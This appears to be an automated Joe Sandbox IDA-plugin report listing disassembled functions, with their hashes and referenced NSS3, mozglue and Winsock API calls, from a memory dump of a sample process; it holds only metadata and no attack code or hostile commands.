Opcode Fuzzy Hash: 5fc985903e3a881dbd76336a9c9ace3f1f44c7410bb56e35a312a80045e40d57
Instruction Fuzzy Hash: 6671AE72F261914BEB109E6CC88039EB3A29F8131CF250278DD59BBFD1D6B19C4687D2

Function 6CBC64D0 Relevance: 3.2, Strings: 2, Instructions: 724COMMON

Download Yara Rule

Strings

not authorized, xrefs: 6CBC6D47, 6CBC6D4C
authorizer malfunction, xrefs: 6CBC6E3E

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID: authorizer malfunction$not authorized
API String ID: 0-2411240822
Opcode ID: 0f931683b07ae0a22a921b5c0e0035e431e0f88833905ba840c0072a96b780ca
Instruction ID: 31be8a8493c2285962ac096f4fc44acd673af85751c6d1b092f520696919d923
Opcode Fuzzy Hash: 0f931683b07ae0a22a921b5c0e0035e431e0f88833905ba840c0072a96b780ca
Instruction Fuzzy Hash: 1C627C70E04245CFDB14CF69C484AA9BBF2FF89308F2481ADD9159B766D736E816CB81

Function 6CC1EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC1F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CC1F0F9

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: df56683613048b51b00118bbd77ed77fec4e4ce50daee6fc6c4f55fecb232d19
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 86919171A0861A8FCB14CF69C8916AEB7F1FF85324F24462DD962A7FC0E730A905DB51

Function 6CC42F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CC67929), ref: 6CC42FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CC67929), ref: 6CC42FE0

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 4d177a91c5f995c447b68b4877752721e868b86b18913e9838c5a85a08490585
Instruction ID: ba799a0b47d8355bb8b0637029a09813868454e1f7044b2206fe0b1095dafff2
Opcode Fuzzy Hash: 4d177a91c5f995c447b68b4877752721e868b86b18913e9838c5a85a08490585
Instruction Fuzzy Hash: 7F511071A049218FD7148E5AC880B6A77B1FFC531AF6DC229D9099BB02F735E947CB81

Function 6CBE6410 Relevance: 3.0, APIs: 2, Instructions: 21networkCOMMON

Download Yara Rule

APIs

bind.WSOCK32(?,?,?,?,6CBE6401,?,?,0000001C), ref: 6CBE6422
WSAGetLastError.WSOCK32(?,?,?,?,6CBE6401,?,?,0000001C), ref: 6CBE6432

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ErrorLastbind
String ID:
API String ID: 2328862993-0
Opcode ID: f456ccdb1e3c1fd0dfe4ea7f50aef8be549060bf7dd6523552c17151d2cde162
Instruction ID: 2708789781c4fe347ff128cd7e689a3dbcf14ab4a6ed3166d3922ce2910dbab7
Opcode Fuzzy Hash: f456ccdb1e3c1fd0dfe4ea7f50aef8be549060bf7dd6523552c17151d2cde162
Instruction Fuzzy Hash: B0E01D35650108AFCB019F7CDC0485A37A5EF0C668B50C515F959C7A71F731D4658751

Function 6CC60E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CC61052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CC61086

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: ffbb82ba493952b888ec5f7536a4149d240b6c4da9db042756d8f31461ae45cb
Instruction ID: 20325188d3b42e1bbbe466bb100f68b9363a85487dd8d6d7f8f945b191c67a7f
Opcode Fuzzy Hash: ffbb82ba493952b888ec5f7536a4149d240b6c4da9db042756d8f31461ae45cb
Instruction Fuzzy Hash: 0FA11D71B0125A9FDF08CF9AC9D0AEEB7B6BF48314B148129E955B7B00E7359C11CB94

Function 6CB8AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CB8AE9F
winUnlock, xrefs: 6CB8AE18

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: bca37ff4981f54b47d48bc0723b4aba86ff354de1c38e8515604af597850fdfb
Instruction ID: 77abe9018a2e750e5b14c2f05fb4e28cb87b7e203f11db3ae10ca5dccf3a4230
Opcode Fuzzy Hash: bca37ff4981f54b47d48bc0723b4aba86ff354de1c38e8515604af597850fdfb
Instruction Fuzzy Hash: F2718370605240AFEB04DF28D894A6BB7F9FF89314F14CA18FA8997651D730E985CBD2

Function 6CC4ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CC4EE3D

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 905b9b92e33e9387c11da6deadb960825d3bab33941ff6b4c78ddb33ad0bdba7
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 1F71B272E017058FE718CF5AD88066AFBF2BB98304F16C62DD85697B91E770E940CB91

Function 6CB84DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CB85125

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: dc9178069d5a932433add63628a2338dc3830c8436265437755b2fed91540279
Instruction ID: 959c0236e5ca9e45dbaa4d4240ef6ea54e665a5b21c9a94bdcd319dc955f344f
Opcode Fuzzy Hash: dc9178069d5a932433add63628a2338dc3830c8436265437755b2fed91540279
Instruction Fuzzy Hash: 9AE13C70A093409FEB05EF28D48465ABBF4FF89309F518A1DEA8997751E730D985CF82

Function 6CBA46D0 Relevance: 1.0, Instructions: 958COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27e77455de8d1cdeb9a0d955f6b9fe80386ccba4af312f258bec7c802e1769b3
Instruction ID: 0b69ec387c80049451b2eeb4413f7ac2834467a5959bfde25b4bfe0c73fffe2d
Opcode Fuzzy Hash: 27e77455de8d1cdeb9a0d955f6b9fe80386ccba4af312f258bec7c802e1769b3
Instruction Fuzzy Hash: D5928074A04245CFCB15CF98C490AAAB7F2FF89308F28829DD8956B756D731E946CF90

Function 6CC0E5F0 Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalEnterExitMonitorSectionUnlockValue
String ID:
API String ID: 344640607-0
Opcode ID: 4d8987d5a18910abc31fd603562eaf3b12b15f9997119491b06a3a192d363e2a
Instruction ID: dbbd395015babf18a247c39a9d296fb1c1dc7fd8f7a10d4eb28d3e547aad7264
Opcode Fuzzy Hash: 4d8987d5a18910abc31fd603562eaf3b12b15f9997119491b06a3a192d363e2a
Instruction Fuzzy Hash: 68D1BDB1E446189BEB019F6AE8407EE77B5BF45718F08012CD88567B40F736E919CBD2

Function 6CB745B0 Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cddd1c08f055f86d4536e1f71171c84c5cef4a273704fb651a92efa05065ab0
Instruction ID: ab7d5188fcdfb72471f5d4a65f47f67a1d1c16019a31002a90fa9cee2bef9729
Opcode Fuzzy Hash: 4cddd1c08f055f86d4536e1f71171c84c5cef4a273704fb651a92efa05065ab0
Instruction Fuzzy Hash: 63D1E272E002168BCB1CCF68C9901AEB7F2FF98301B19856ED815AB791D735DA02CF90

Function 6CC0A430 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42648755ae18242ae0c96e8255f6e46a442af9f04947e91f3010a9bc1e608b63
Instruction ID: 12220b557db03e90a7d4e7db9c98dbe5bcfcb448362b29419e4088893b82dab9
Opcode Fuzzy Hash: 42648755ae18242ae0c96e8255f6e46a442af9f04947e91f3010a9bc1e608b63
Instruction Fuzzy Hash: 39819B71B012058FDB18CF59E584BAABBF4FF88308F15816DE81A9B750EB75E941CB80

Function 6CBE8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd38880dd91477483cf18af38e18cbe2eafccf3155651390a8e2dc0f889dad1b
Instruction ID: b08896fafc940ee067ec19b73d761e78fdf3b63b64afdb379ad39dbb0d6c2fa5
Opcode Fuzzy Hash: bd38880dd91477483cf18af38e18cbe2eafccf3155651390a8e2dc0f889dad1b
Instruction Fuzzy Hash: 0C110432A006958FEB04DF28D88475AB3A5FF4975CF04466AD9158FA41C376D882C7C2

Function 6CCC0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7ccb04c8ebd4da53802bbdf007df76d68e72a72c0a07ee59d1767b59509edca
Instruction ID: 380a9b3350e0a7de7f9ebc4cffa38ba269084c21b41c9c364c1bf7aebb2f659c
Opcode Fuzzy Hash: e7ccb04c8ebd4da53802bbdf007df76d68e72a72c0a07ee59d1767b59509edca
Instruction Fuzzy Hash: 9D11A3B5B04345DFDB10DF19C88066A7BB6FF85368F14816DD8298B701EB71E806CBA2

Function 6CC344C0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2b49324bf2e2b13e871087790ce71e5e43f4d544339975150fdc829567f58c3
Instruction ID: e6d7d0f12faf7a6698f51897ce2031f3512922fc6befb0d43e55d414b6ceff1e
Opcode Fuzzy Hash: b2b49324bf2e2b13e871087790ce71e5e43f4d544339975150fdc829567f58c3
Instruction Fuzzy Hash: 8B1109B6E002199F8B00DF99D8809EFBBF9EF8C664B554419ED19E7300E231ED118BE0

Function 6CC34440 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fd5199745d1cda55d2518c4724a74d750a69a3fe1c00c2d33769942fdeb8e86
Instruction ID: eeaddb5f0fb89590b4e23500daf5554a073c170262cf94be4e940c387d777123
Opcode Fuzzy Hash: 6fd5199745d1cda55d2518c4724a74d750a69a3fe1c00c2d33769942fdeb8e86
Instruction Fuzzy Hash: 4611C975A002199F9B00DF59D8809EFBBF9EF4C214B16416AED18E7301E631ED118BE1

Function 6CCC0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: adfb26285ba2b07a0035d528b2ec89e07c5c5afd35886ec6b7ad793d3f0306e6
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: CBE06D7A302454A7DB148E09C450AA97359EF81729FA480B9CC5A9BA01EA33F8438782

Function 6CC18670 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$K11_$Alloc_ArenaArena_DoesFindMechanismTag_
String ID:
API String ID: 2003479236-0
Opcode ID: 23e773cf1430b448038cb5704f69fb380029e02cc391f3ea17a25ad626348aa6
Instruction ID: a6faeb9b53cdab27ae24626b5d4eb98ddddfb732e2fe75de50b18c2ac548466d
Opcode Fuzzy Hash: 23e773cf1430b448038cb5704f69fb380029e02cc391f3ea17a25ad626348aa6
Instruction Fuzzy Hash: BAE0B6B0C08B489BD708DF6AD5414AAFBE4AFD8214F01D91DFC9C47252F730A5D48B82

Function 6CBECC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f904e63220e0818a3746f19438fce3537f792db4f8c987c66dfdb7c66f56524
Instruction ID: 39e77c4d5d4cd6d3defbd0d1bb4f2ce670900fe757e31333b48e2412dce127d2
Opcode Fuzzy Hash: 2f904e63220e0818a3746f19438fce3537f792db4f8c987c66dfdb7c66f56524
Instruction Fuzzy Hash: 8AC04838244608CFC704DA08E4899A53BA8AB096117940094EA068B721EA21F810CA81

Function 6CC767C0 Relevance: 45.3, APIs: 30, Instructions: 254COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(53E58955,00000000,00000060,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC767D4

Part of subcall function 6CBF95B0: TlsGetValue.KERNEL32(00000000,?,6CC100D2,00000000), ref: 6CBF95D2
Part of subcall function 6CBF95B0: EnterCriticalSection.KERNEL32(?,?,?,6CC100D2,00000000), ref: 6CBF95E7
Part of subcall function 6CBF95B0: PR_Unlock.NSS3(?,?,?,?,6CC100D2,00000000), ref: 6CBF9605

Part of subcall function 6CC7F2E0: free.MOZGLUE(-00000694,00000000,?,6CC82B36,-00000694), ref: 6CC7F2F4

SECKEY_DestroyPrivateKey.NSS3(EC835657,00000000,00000060,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC767E7
free.MOZGLUE(83CF893E,00000000,00000060,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC767FA
CERT_DestroyCertificate.NSS3(?,00000000,00000060,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC76828
